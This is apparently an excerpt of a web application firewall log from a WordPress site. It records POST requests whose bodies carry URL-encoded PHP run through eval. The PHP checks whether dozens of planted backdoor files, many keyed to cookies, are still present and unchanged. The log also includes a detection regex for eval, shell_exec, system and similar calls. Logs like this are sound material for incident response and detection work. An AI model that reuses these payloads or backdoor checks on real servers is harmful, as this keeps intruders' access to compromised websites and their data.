%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/toolbar.checkin.php%22%3D%3E%22bd%40%40257251900%40%401029%22%2C%0A%22\/wp-includes\/Requests\/src\/Cookie\/imagers.php%22%3D%3E%22bd%40%40257246922%40%40979%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ConversionValueRuleErrorEnum\/download.php%22%3D%3E%22bd%40%40282625871%40%401037%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-includes\/Text\/Diff\/Engine\/changegroupperm.php%22%3D%3E%22bd%40%40257153933%40%40959%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Net\/CYEC07_3winners.php%22%3D%3E%22bd%40%40279256584%40%40722%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40261522712%40%401816%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept-encoding:gzip,deflate\ncontent-length:10584\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\n\nVmQHcs=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/toolbar.checkin.php%22%3D%3E%22bd%40%40257251900%40%401029%22%2C%0A%22\/wp-includes\/Requests\/src\/Cookie\/imagers.php%22%3D%3E%22bd%40%40257246922%40%40979%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ConversionValueRuleErrorEnum\/download.php%22%3D%3E%22bd%40%40282625871%40%401037%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-includes\/Text\/Diff\/Engine\/changegroupperm.php%22%3D%3E%22bd%40%40257153933%40%40959%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Net\/CYEC07_3winners.php%22%3D%3E%22bd%40%40279256584%40%40722%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40261522712%40%401816%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]
["2026-04-18 19:34:39","213.209.159.254","POST","\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PD:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/toolbar.checkin.php%22%3D%3E%22bd%40%40257251900%40%401029%22%2C%0A%22\/wp-includes\/Requests\/src\/Cookie\/imagers.php%22%3D%3E%22bd%40%40257246922%40%40979%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ConversionValueRuleErrorEnum\/download.php%22%3D%3E%22bd%40%40282625871%40%401037%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-includes\/Text\/Diff\/Engine\/changegroupperm.php%22%3D%3E%22bd%40%40257153933%40%40959%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Net\/CYEC07_3winners.php%22%3D%3E%22bd%40%40279256584%40%40722%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40261522712%40%401816%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php 